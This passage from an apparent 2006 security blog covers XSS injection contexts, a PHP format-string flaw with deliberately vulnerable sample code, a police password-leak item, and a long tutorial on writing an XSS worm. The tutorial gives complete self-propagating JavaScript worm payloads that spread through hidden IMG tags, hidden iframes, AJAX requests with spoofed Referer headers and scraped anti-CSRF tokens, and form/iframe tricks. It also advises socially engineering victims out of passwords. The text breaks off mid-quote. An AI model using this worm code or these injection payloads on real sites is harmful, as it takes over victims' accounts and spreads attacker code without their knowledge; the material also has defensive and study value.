In XSS attacks you are passing user input to a much more complex (in terms or input parsing) system than an RDBMS, you are passing user input to a browser. The most basic context people protect against is when user input is placed on the page inside a container (be it a tag or the page itself acting as a container), so we have our first context:

  - User input inside a container (either a tag, or the page itself)

and the most common method (in PHP, at least) is to simply run everything through either strip_tags() (which as the name implies strips - without any additional parameters - all tags from user input), or the slightly more useful htmlentities() (which encodes all characters which have HTML character entity equivalents are translated into these entities, e.g. < is converted to < and " is converted to ", etc - encoding of quotes though,is optional -, htmlspecialchars() does much the same thing for our purposes, but it only does a few characters, those characters being <>&'" ).

Again, there are more contexts, but the same functions are often relied upon to neutralize threats in several circumstances. The next circumstance would be when user input is placed inside an attribute for a tag, e.g. :

print "<body bgcolor=\"".our_encoding_function($_GET['bg'])."\">";

In this case, using htmlentities() (or htmlspecialchars() ) as our_encoding_function() will still work, but strip_tags() will not, because what we need to filter out or encode here are double quotes, because it would be trivial for an attacker to pass this:

" onLoad="insert malicious javascript here

and be able to execute code without having any tags stripped because the attacker had no need to use tags. But not all attributes are enclosed in double quotes, lets say the developer favoured single quotes and did this:

print "<body bgcolor='".our_encoding_function($_GET['bg'])."'>";

then all our encoding (when supplied with no other parameter then the user input) becomes useless because by default htmlentities() and htmlspecialchars() do not encode single quotes. But even if it was set to encode single quotes it would not help us in the smallest if the developer had not encapsulated user input at all, like so:

print "<body bgcolor=".our_encoding_function($_GET['bg']).">";

, because then we would not need to use quotes ourselves. Admittedly it is much harder to create a javascript payload without using quotes or whitespace, but it is still doable. From here we have 3 new  contexts:

  - User input inside an attribute to a tag, enclosed with double quotes
  - User input inside an attribute to a tag, enclosed with single quotes
  - User input inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)

It also matters inside what *kind* of attribute the user input exists. For example if the attribute is merely the background color of the page, then nothing harmful can come about (without of course a bug in the browser) without the user breaking out of the attribute. But what if the tag was a javascript tag, and the user input was enclosed within single quotes inside the javascript, and the attribute was enclosed in double quotes like so (while its not the most likely real world example, it does illustrate a point without having to discuss browser differences):

print "<body onLoad="alert('.our_encoding_function($_GET['bg'])."');\">";

then nothing short of encoding, single and double quotes would suffice (we don't need to worry about > symbols because they can exist inside attributes), because with anything less the user would be able to  break out of either the single quotes encapsulating the string inside the alert statement, and therefore allowing the user to execute arbitrary (well almost) javascript commands, or (because of a browser's permissive nature) break out of the attribute altogether then creating a new attribute with other javascript, and we have XSS all over again. And the same situation could be reversed in a few ways and we get the following contexts:

  - User input inside some javascript, encapsulated by single quotes, inside an attribute to a tag, enclosed with double quotes
  - User input inside some javascript, encapsulated by single quotes, inside  an attribute to a tag, enclosed with single quotes
  - User input inside some javascript, encapsulated by single quotes, inside  an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)

  - User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with double quotes
  - User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, enclosed with single quotes
  - User input inside some javascript, encapsulated by double quotes, inside an attribute to a tag, un-enclosed (could also be described as being enclosed with whitespace)

And so we have so many more possible contexts to keep in mind, luckily though it can be simplified down to the following rule:

    - Encode single and/or double quotes depending on whether or not they are used as encapsulation.

We could of course include contexts like being inside CSS, etc, etc, but these are the main ones, and this article is designed to raise awareness of contexts rather than to be a definitive list of them.

The contexts so far presented though have been quite similar, lets have a look at something a bit more esoteric. lets say we have a piece of javascript which is setting a cookie, the input doesn't need to come from a server-side script, it can be done by javascript, and it does not matter because we are not trying to break out of what the javascript is trying to do, we just want to do a bit more than what its intended to do. but for the sake of simplicity lets say we're using the following server-side script:

print "<script>document.cookie = \"name=".htmlentities($_GET['name'], ENT_NOQUOTES)."\";</script>";

now, beside the fact that there is no really sane reason (that I can think of) you would be setting server-side cookies using this method, this is only an esoteric example to show you that you should not confine yourself to the common. The reason is that while we cannot escape any of the boundaries (either the string encapsulation or script tag) we can still cause unexpected behavior by setting other cookie. Lets say we set the name variable to:

Alex;\nid=0;

, then the resulting javascript will become:

<script>document.cookie = "name=Alex;\nid=0;"; </script>

which causes us to set a new cookie (we could overwrite an existing cookie as well) besides the name cookie, and we could use such injection to perform things like $_REQUEST Variable Fixation (http://kuza55.blogspot.com/2006/03/request-variable-fixation.html), or other attacks. But more than to show an actual attack, it is an example of how the context (in this case; setting a cookie) will allow you to perform attacks, where the validation needed to stop those attacks would be useless and restrictive in other cases. And it satisfies my need for an obscure attack vector, :p.

================
4.0 Conclusion
================
What I've outlined here is not really new information, it is merely something which is greatly neglected by many people writing web apps. If there was anything I would like you to take away from this article above all else, it would have to be; know your encapsulation and how it can be broken out of, and how unexpected behaviours can be created. There's really nothing more to it other than remembering that, and not forgetting to apply that knowledge, and not just hope that nobody will notice.

- kuza55

New South Wales Police's password blunder

2006-04-06T20:49:00.000+10:00

http://www.theage.com.au/news/breaking/police-secret-password-blunder/2006/04/05/1143916569155.html

A NSW Police blunder has led to a database of email passwords - including those of the anti-terrorism commander and hundreds of journalists - published on the internet.

The names, email addresses and passwords of as many as 800 people who signed up to receive NSW Police media releases are listed on the database.

Among the exposed passwords is that of Detective Chief Superintendent Mark Jenkins, the man responsible for the state's Counter Terrorist Co-ordination Command unit.

This article has generated a few responses, mostly along the lines of how irresponsible the author of the article and SMH (the Sydney morning Herald) have been in publishing it publicly, especially including such unique strings such as the passwords provided (which aren't actually needed to find the database on google).

And while my initial response was to agree, is it all that much better than the disclosure policy a lot of people seem to subscribe to? While I agree that this is neither educational nor useful in getting the vendor to act faster (since we can only assume the NSW Police were not notified by much in advance, if at all, of the article being published), and it puts those specific users directly at risk, is it all that much worse?

To find the passwords you would have had to have inclination to find them, and an understanding of google, and how to use it effectively, which is all that you really need to get a PoC exploit to work, really, maybe some programming knowledge if a bug has been introduced, but these days it seems to me that the skill level required to use an exploit and find this database are pretty similar.

Of course, I am not condoning this and do agree this is more irresponsible than publishing eploits, but how much worse is it really? the users can react by changing their passwords, and no fix needs to be implemented. It would have been rather easy to find all the emails, and send them all an email saying that their password can be found online and they should change it, it wouldn't have been a hard task, its not as if only google or someone with exceptional skill to resolve the problem had to do it.

Uninformed.org

2006-03-16T19:04:00.000+11:00

Now, originally I was planning only to post the security related work I'd done here, but during my online travels I bumped into uninformed.org. It blew me away.

The obvious amount of thought and detail which has been put into every paper I have read on that site was absolutely exceptional, and explained in such a simple manner that i had no trouble understanding it. I probably wouldn't be able to properly implement the techniques they talk about in the FUTo paper, but I definately understood the concepts, but if I did know anything about rootkit development i would probably be able to, because of the clear and concise way it is presented.

I can't wait for the next volume to come out!

Format Strings in PHP

2006-03-13T17:50:00.000+11:00

I realise that no-one actually reads what I post here, but i've got an urge to post the crap that i've written up and posted almost nowhere (and in this case nowhere at all) for some reason, even thugh its crap, and useless....

================
Format Strings
================

This small article pertains to Format String vulnerabilities in PHP applications rather than PHP itself.

Format String Vulnerabilities exist where the user is allowed to place data into a format string of a function which accepts a format string, e.g. sprintf(). These vulnerabilities are uncommon, even rare, in PHP because these functions are generally not used in PHP scripts.

In most other languages format string vulnerabilities allow:
- Viewing the Stack
- DoS attacks
- Improper validation checks

In PHP the first 2 should not be an issue since PHP makes sure the amount of unique (in the sense that they are unique if they don't reference to the same variable passed to the format function) place holders and variables it is passed, or provides an error message otherwise, and since the DoS vulnerabilities in format strings are resource exhaustion/corruption and PHP has a setting for the maximum amount of RAM it can consume (after it surpases the limit it simply kills the script and provides an error, instead of crashing) and the corruption can occur when the user is able to force the program to write to the stack, but since you cannot write to the stack using PHP's format functions those vulnerabilities do not exist.

Improper validation checks are probably the only things you need to worry about in PHP, and then only if you were fairly sloppy in your work. An example of a vulnerable script would be a script which INSERTs data into a database, which validates different fields in different ways, and therefore trusts them differently when uing data retrieved from those fields:

<?php

// Our RegExps to validate our data, the only thing that is required here is that one allows
// single quotes (or whatever is used to encase strings) and of course letters so that stored
// SQL Injection can be performedand and another be allowed percent and dollar signs and of
// course lowercase letters.
$regexps['field1'] = '/^A-Za-z0-9\'+-=!@#$%^&*()$/';
$regexps['field2'] = '/^A-Za-z0-9+-=!@#$%^&*()$/';

$errors['field1'] = "The value you supplied for field1 did not match the following RegExp: /^A-Za-z0-9'+-=!@#$%^&*()$/\n";
$errors['field2'] = "The value you supplied for field2 did not match the following RegExp: /^A-Za-z0-9+-=!@#$%^&*()$/";

$errormsg;
$err = 0;

foreach ($regexps As $key=>$value) {
 if (!ereg ($regexps[$key], $_POST[$value])) {
  $err = 1;
  $errormsg .= $errors[$key];
 }
}

if (empty($err)) {
 $dbh = mysql_connect();
 $sql = sprintf ("INSERT INTO table (field1, field2) VALUES ('%s', '".mysql_real_escape_string ($_POST['field2']."')",
     mysql_real_escape_string($_POST['field1']));
 mysql_query


}

?>

In this (highly simplified example) we want to allow users to enter single quotes into field1 for some reason, e.g. its a surname field and we want to allow names like O'Rielly, and for some reason we want to allow percent signs in field2, and we were sloppy and inserted the (already validated) value of field2 directly into the format string.

Now, how could this be bad, well it all comes back to the issue of trust, you trust that because you validated field2 to make sure there were no quotes and you do that validation every ime the user wants to update that field so you decided you weren't going to escape it to increase performance, now lets see what happens when we try and exploit the format string bug.

Lets say we provided some stored SQL Injection (this could also be done with stored XSS) code for field1, it wouldn't work since we know that field 1 could contain malicious data so we always escape it, to field2 though we provide the following value:%1\$sWhich is the format for inserting the first variable passed to the function after the formt string, and all of a sudden our format string looks like this:INSERT INTO table (field1, field2) VALUES ('%s', '%1\$s')And all of a sudden we have some malicious SQL stored in a field which you trust implicitly and don't escape.

Writing an XSS Worm

2006-03-09T17:46:00.000+11:00

===========================
Writing an XSS worm
Version 0.3 (Updated 17/10/06)
By kuza55
===========================

Contents:

1.0 Introduction to XSS worms
2.0 Reconnaissance
3.0 Finding the Source
4.0 Spreading
  4.1 IMG Tags
  4.2 IFRAME Tags
  4.3 AJAX
  4.4 FORM/IFRAME Combination
  4.5 Flash
      4.5.1 Simple Flash XSS
      4.5.2 More Advanced Flash XSS
5.0 Final Notes
6.0 References

======================
1.0 Introduction
======================

Firstly, we need to know what a(n XSS) worm is. A worm is essentially a piece of (often malicious) code which replicates itself through some means. An XSS worm is the same idea applied to stored XSS holes, e.g. User profiles where users can inject Javascript through some means. This tutorial will use the example of some online software which allows users to input unrestricted HTML on their own page.

This tutorial will focus on writing the actual code to spread, rather than finding a flaw which can be exploited in this way. Methods of Filter evasion are also out of the scope of this tutorial, and there is already much information in that regard available.

======================
2.0 Reconnaissance
======================

Firstly you (obviously) need to find the XSS flaw, but you also need to do some reconnaissance to find what kind of information needs to be sent for it to update a user's profile. The first obvious requirement for almost all applications is that the user must be logged in when viewing the page for it to work. Other requirements may also be in place including the checking of a Referer header, or only accepting arguments via post (as opposed to accepting arguments via any combination of GET/POST/Cookie/etc, as would be the case if using something similar to PHP's $_REQUEST variables).

Once all these things are scoped out you need to analyse wether or not its viable to write an XSS worm, and what the best method of spreading your code would be.

Here's a small listing which should help you decide (though you may have thoughts of your own, these are merely mine), which method would be best.

===========================
Listing 1 - Method Decision Helper

      Accepts input via GET
              Can be done with an IMG/IFRAME tag, a FORM/IFRAME Combination,  AJAX or Flash.
              Essentially any form of XSS can be used here, this is obviously the easiest to exploit.

      Checks Referer
              Cannot be done via IMG tag or Form/IFRAME Combination.
              So the methods left are AJAX, and advanced Flash on IE (more on this later).

      Asks User for Re-Authentication (i.e. password)
              Requires social engineering, should not be difficult since the site would normally have the data anyways, so the user would (and should) not qualm at giving the data to them.
              This could be defeated if the user's pasword hash or password is stored in a cookie. By either decoding the cookie or querying some online reverse-lookup hash databases, or querying an IRC bot through a web interface is possible, but would probably generate a significant time delay.

      Has a CAPTCHA or other form of automation prevention
              Requires social engineering to get the user to fill out the CAPTCHA for you.

      Accepts input via POST Only
              Can be done with an IFRAME, a FORM/IFRAME Combination, AJAX or Advanced Flash.

      Attempts to break out of frames
              Cannot be done with an IFRAME (to the best of my knowledge, I have not delved into this area much), but with the decline in the popularity of shoddy Javascripts which attempt to break out of frames, this should almost never be an issue. It can be done with a FORM/IFRAME Combination, but if the final page breaks out of the frames then you may alert the user.

============================

As you can see AJAX seems to be a rather useful tool for beating technical limitations, and while it is very nice and clean, you _will_ face problems with restrictive permission settings in IE, where the XMLHTTPRequest object is implemented via ActiveX. So while it is very nice technology, and would most likely get through where security permissions are set up to ask the user (since most users will agree to ActiveX controls from trusted websites), in places where it is not it will fail, *but* a nice feature of AJAX is that you can easily tell when the ActiveX components has been rejected and insert some handling code if you like.

Update: Flash is also a very nice payload, but it is more easily restricted since it has to come from an EMBED tag, whereas AJAX can be stuck onto an existing XSS attack vector. On the other hand if you can find an XSS vulnerbaility where you can make use of flash it will be a very nice payload since it is generally not considered a security risk and therefore does not have the same problems as AJAX does on IE, on the other hand as is later explained, the Advanced Flash technique does not completely work on Firefox. There are problems with using flash too but they mainly revolve around the fact that the issues here be patched in Flash 9, which will also be availiable on Linux (unlike Flash 8), but untill that is released Flash is probably the easiest and almost the most powerful way to go.

======================
3.0 Finding The Source
======================

Depending on what code you are actually spreading, you may or may not need to have the worm find its own source, and then put it into a variable for later writing, I will discuss this situation rather than one where you spread a simple script tag with an SRC attribute or similar.

There would be 2 places you would need to extract code from, either enclosed within a tag, or in the attributes of a tag.

For getting data from inside a tag (i.e. not an attribute, but contained within it), for example if you're using a <script> tags to hold your code, then you simply need to use the .innerHTML (or .text, but i think .text is only supported on Mozilla/Firefox) property. So lets have a look at some code then:

<script id=worm>
b = document.getElementById('worm');
var myString = unescape('<script id=worm>');
myString = myString.concat(b.innerHTML);
myString = myString.concat(unescape('</script>'));
alert(myString);
</script>

Works like a charm, and if you have problems with inserting an id then you could always search through an array returned by document.getElementsByTagName()

For getting attributes out, its a bit harder, but probably a more likely situation. Lets use an example of a body element with an onLoad attribute into which we have inserted our worm.

The easiest solution is to find the tag on the page (which is most easily achieved by giving the tag an id), and then using the getAttribute() Method to extract its own code, here's a quick example:

<body id=worm onLoad="b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
alert(myString);
">

Now this will work perfectly in Firefox and create an alert of itself exactly as it is there. We will though have a problem with IE, since its version of getAttribute() returns the code inside an anonymous function, so what we would get alert()-ed instead would be (approximately):

<body id=worm onLoad="function anonymous()
{
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
myString = myString.concat(b.getAttribute('onLoad'));
myString = myString.concat(unescape('%22>'));
alert(myString);
}">

Which doesn't work for our purposes at all. We need to cut the first and last lines of what b.getAttribute returns if the user is using IE. Luckily its easier than removing the first line and last line, because we can remove the first 23 characters and the last character. Now The easiest way to do this would be to first test the browser, find the range of characters you need and then extract them, so we get:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
alert(myString);">

Now, I didn't mention this earlier, but for some reason IE returns a function instead of a string, so we have to use the .toString() method on the result we get before operating on it or we get errors.

There are a few other methods (i.e. completely different methods, with no resemblance to this one), but this is the easiest method I have found.

Update: When using Flash as a delivery mechanism this is not an issue; again it builds the case for flash, but since flash is a corner case of XSS, this section is still relevant.

======================
4.0 Spreading
======================

Now, we've got all the code we need to spread into a variable we need to write some code to actually spread it!

======================
4.1 IMG Tags
======================

The first way like I said, is to use an IMG tag, which, if you can, is the easiest method to use, and I would use it above all other methods wherever possible.

Now, there are 2 ways to write even this. The first way is to change the SRC property of an image (preferably one you can include and give an id) or generate an image via Javascript, and then adjust the image.
I think that generating an image via Javascript, and then changing the src is way too much effort, *but*, if you include an image you'll have to edit your javascript to keep replicating the image as well, but you will get the benefit of more standard behaviors, and less code to write, and less code which needs to be stored on the servers. So lets get to it.

First we need to add the image in to our code, and modify it to take the image into account:

<img style='display:hidden;' width=0 height=0 id=wormimg><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<img style=\'display:hidden;\' width=0 height=0 id=wormimg><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));">

Easy enough wasn't it, don't forget to use the CSS though, so that not only is it invisible, it doesn't take that element into account when rendering the page (so its better than visibility:false for our purposes).
The next step is to of course make it do something, duh!
For this example lets pretend we have a page called edit_profile.php which takes a single GET parameter (profile), which edits the profile.

<img style='display:hidden;' width=0 height=0 id=wormimg><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<img style=\'display:hidden;\' width=0 height=0 id=wormimg><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
myString = escape(myString);
var img = document.getElementById ('wormimg');
var url = 'edit_profile.php?profile=';
url = url.concat(escape(myString));
img.src = url;">

And there we go, we've got probably the simplest XSS worm we can create.

======================
4.2 IFRAME Tags
======================

Now onto using iframes. The idea behind using iframes is to load the page into an iframe, and then fill out the form on the page, and then submit it, in case anyone is wondering why this can't be used from another site, it is because you can only interact with the contents of the page if you are on the same domain as the page.

The first bit (like with the IMG tag) is to add it at the beginning of the worm and then add it into the code in the worm like so:

<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));">

Now the next step is to change the fields in the iframe. For this we'll assume that the form on the page does not have a name (since most applications don't), and the field we want to edit is called profile.

The property our script needs to edit is:

window.frames[0].document.forms[0].elements['profile'].value

And so all we need to get our script to do is edit that value, and then submit the form, like so:

<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
window.frames[0].document.forms[0].elements['profile'].value = myString;
window.frames[0].document.forms[0].submit();">

When working with iframes we are loading a separate document, which may or may not load quickly, we may experience problems on slow sites where our code executes before the iframe finishes loading the form elements we want to interact with.

There are a variety of methods you could use to stop such problems occurring here here. The first would be to set the onLoad attribute of the iframe like so:

<iframe style='display:hidden;' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 src=edit_profile.php id=wormiframe></iframe><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var d = document.getElementById('wormiframe');
d.setAttribute('onLoad', 'set();');
function set () {
      window.frames[0].document.forms[0].elements['profile'].value = myString;
      window.frames[0].document.forms[0].submit();
}">

And essentially that should work, except for a very small chance of some extremely bad timing occurring (e.g. setting the onLoad event to set() and the event getting executed before you can define set()), it should be fine. Or even less likely the form could get loaded before you can set the onLoad attribute and it will never get executed, but both these cases are so unlikely that you shouldn't worry about them.

The second, less clean, method is to create a 'timer' (In the sense of the word, that you can say you want a block of code to get executed every X milliseconds) using [window.]setInterval() - Just a quick not about the notation, by [window.]setInterval() I mean that the function resides within the document object, but not necessary when calling the function - and [window.]clearInterval() to get rid of the timer. And make that timer see if it can access the window.frames[0].forms[0].elements[0].value property, and if you can't keep spinning, but if you can then clear the interval and execute your code.

Use whatever method you like, but I would go for setting the onLoad attribute because its cleaner, and there's no need for some code being executed over and over again.

Phew! That was enough to get me to question wether or not iframes are preferable to AJAX, but considering that AJAX is used via an ActiveX object in IE (this problem will be resolved in IE7 so we have a standard implementation), you would run into ActiveX restrictions.

======================
4.3 AJAX
======================

AJAX has been hyped quite a lot recently, and while you can do a lot of useful things with it you can also do a lot of destructive things with it, a lot of them centering around IE being dodgy, etc, but anyways, this isn't about AJAX security, this is about how to use AJAX in an XSS worm. Firstly a quick warning, AJAX is awful to debug, absolutely awful, since you generally (especially in IE) see AJAX happening, and in Firefox you have to rely on extensions, so it hurts sometimes, but enough of that lets get some code happening. We'll start off with our existing code for your worm which uses an IMG tag, and make it do the same thing but with AJAX:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php?profile=';
url = url.concat(escape(myString));
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
  h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
  try {
    h = new ActiveXObject('Microsoft.XMLHTTP');
  } catch (e) {}
}
}
if (h) {
h.open('GET', url, true);
h.send();
}
">

Anyways, all that the majority of new code there does is try to compensate for different implementations of the same XMLHttpRequest (XHR from here on in) object. The other line simply sends our request, easy enough.

Now lets go to the scenario where we need to spoof the referer, things start getting a tiny bit complex here:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php';
var ref = 'http://www.domain.tld/edit_profile.php';
var params = 'profile=';
params = params.concat(myString);
var h = false;
if (window.XMLHttpRequest){
h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
try {
  h = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e) {
  try {
    h = new ActiveXObject('Microsoft.XMLHTTP');
  } catch (e) {}
}
}
if (h) {
h.open('POST', url, true);
h.setRequestHeader('Referer', ref);
h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
h.setRequestHeader('Content-length', params.length);
h.setRequestHeader('Connection', 'close');
h.send(params);
}

">

Alright, so it didn't get too complex, but it was difficult trying to work out why PHP didn't want to create the appropriate superglobal arrays (lack of the Content-Type Request header), but essentially that all you need to do. You can and probably should set up a request handler to account for things, but for something like the above its not needed, we'll work on a more difficult example now.

Lets say the page we're sending things to has been updated yet again, and this time it prevents standard CSRF attacks by having a hidden field variable which is in the page, and needs to be sent with the request, well, that would be easy enough to bypass by using iframes, but if we need to spoof a Referer header as well, we need some AJAX.

For this example lets assume that the field will always be of the form:

<input name='check' type='hidden' value='X' />

Where X is a random string, which can contain any character other than a single quote. The simplest solution to extracting that would be to use Regular Expressions, which is what we will do in the following example:

<body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
var url = 'edit_profile.php';
var ref = 'http://www.domain.tld/edit_profile.php';
var params = 'profile=';
params = params.concat(myString);

function getXHR() {
var h = false;
if (window.XMLHttpRequest){
  h = new XMLHttpRequest();
} else if (window.ActiveXObject) {
  try {
    h = new ActiveXObject('Msxml2.XMLHTTP');
  } catch (e) {
    try {
      h = new ActiveXObject('Microsoft.XMLHTTP');
    } catch (e) {}
  }
}

return h;
}

function r () {
if (h.readyState == 4) {
  var value = h.responseText.match( /\<input name=\'check\' type=\'hidden\' value=\'([^\']+\') \/\>/ );

  params = params.concat('&check=');
  params = params.concat(escape(value[1]));

  var h = getXHR(); //since we use the keyword var this is a local variable, not the one we just used

  if (h) {
    h.open('POST', url, true);
    h.setRequestHeader('Referer', ref);
    h.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    h.setRequestHeader('Content-length', params.length);
    h.setRequestHeader('Connection', 'close');
    h.send(params);
  }

}
}

h = getXHR();

if (h) {
h.onreadystatechange = r;
h.open('GET', url, true);
h.send();
}

">

Alright, there isn't too much new in there, except for the use of the onreadystatechange property of the XHR property, which allows us to set a callback function which is called whenever the readystate of the object changes, the states that the object can be in are:

0 = uninitialized
1 = loading
2 = loaded
3 = interactive
4 = complete

And if we wanted to have some kind of debugging data then we could use those for information, but since we don't really want to notify the victim of anything, and want to minimise the size of our code, we won't do anything other than check that the transaction has been complete so that we can work with it, because that function will be called at least 4 times. it is also possible to check what status code the XHR object returned by using the status (or statusText for debugging) to do some error handling, like trying to run the code again or something, but for the sake of code size and simplicity I'll leave that out.

======================
4.4 FORM/IFRAME Combination
======================

Another idea for how to send data via POST to a page is to use a form. Now the most basic configuration of a form where the form target is the window it is loaded in is really obvious and ugly. But with a form we can specify a target, which could be a new window a frame, or even an iframe. I'll concentrate on the iframe idea since it seems like the leas tobvious, and the cleanest.

The positive aspect of using a form on the page that you are executing your worm from rather than from inside an iframe is that you don't need to load a form from which you submit data, because your worm will contain a form which submits all the needed data. On the other hand you cannot spoof the referer (or anything else for that matter) using this method. But it is also slightly easier (IMO) than using iframes. So here goes:

<iframe style='display:hidden;' width=0 height=0 name=wormiframe></iframe><form action=edit_profile.php method=post target=wormiframe><input name=profile /></form><body id=worm onLoad="var a = document.getElementById('worm'); var c =  a.getAttribute('onLoad');
b = document.getElementById('worm');
var myString = unescape('<iframe style=\'display:hidden;\' width=0 height=0 name=wormiframe></iframe><form action=edit_profile.php method=post target=wormiframe><input name=profile /></form><body id=worm C=%22>%22 onLoad=%22');
var c = b.getAttribute('onLoad').toString();
if ((navigator.appName).indexOf('Microsoft')!=-1) {
      c = c.substr(23, c.length-24); //adjust numbers to taste
}
myString = myString.concat (c);
myString = myString.concat(unescape('%22>'));
document.forms[0].elements['profile'].value = myString;
document.forms[0].submit();">

So, alright, its not that much easier than the iframe, but you don't have to worry about any loading issues here. And its just another way, something you should be aware of, if not use.

======================
4.5 Flash
======================
The delivery of worms via flash comes in two categories, which i will henceforth refer to as simple and advanced. This is not really a reflection on the difficulty of creating a worm through one of these methods, rather it is a reflection of the cleanliness of the interface we are using, so to speak. Anyway, onto the code.

======================
4.5.1 Simple Flash XSS
======================
The principle behind so called simple flash XSS is quite simplistic. It is the injection of a javascript: url into the browser.

It can easily be achieved through using the getURL function to arbitarily send the user to any URL, in our case a javascript: URL. After that is done the code we send would be the same as we would normally use in any other XSS attack vector, so I don't believe anything more really needs to be said.

======================
4.5.1 More Advanced Flash XSS
======================
The more interesting application of Flash in XSS worms is the ability to send (more or less) arbitary request headers[1]. And since I do not know enough about Flash to claim any actual knowledge of this idea other than its existance I believe that a quote from Amit Klein's paper will be much more ideal:

The following is ActionScript 2.0 syntax for sending out a GET
request (in this example, to
http://www.vuln.site/some/page.cgi?p1=v1&p2=v2) with an arbitrary
HTTP header (Foo: Bar). This code works with Flash 7 and Flash 8
(probably with Flash 6 as well):

var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","GET");

A similar syntax will send POST request (with the same header, to
the same URL, and with body a=b&c=d):

var req:LoadVars=new LoadVars();
req.addRequestHeader("Foo","Bar");
req.decode("a=b&c=d");
req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",
"_blank","POST");

(note: the LoadVars.decode() method was added in Flash 7, yet
it's probably possible to compose an arbitrary POST body without
it, so Flash 6 may be covered as well by this variant).

The request is sent from the browser invoking the Flash object.
Any cookies the browser normally sends, will be sent in those
cases as well. The browser's User-Agent is sent, as well as all
browser standard headers. HTTPS links are supported.

This was successfully demonstrated with Microsoft IE 6.0,
Microsoft IE 6.0 SP2 and FireFox 1.5.0.4, running Flash 8.0.22.0
and Flash 7.0.19.0.

In IE, it is possible to overwrite some "normal" browser headers
by simply calling addRequestHeader with the new value. This is
applicable to both Referer and User-Agent. In FireFox 1.5.0.4,
such headers, when used in addRequestHeader() will be appended to
the HTTP request header section.

// One UA in IE 6.0 SP2, two UAs in FF 1.5.0.4
req.addRequestHeader("User-Agent","Hacker/1.0");

// One Referer in IE 6.0 SP2, two Referers in FF 1.5.0.4
req.addRequestHeader("Referer","http://somewhere/");

In IE, it is also possible to overwrite some more sensitive
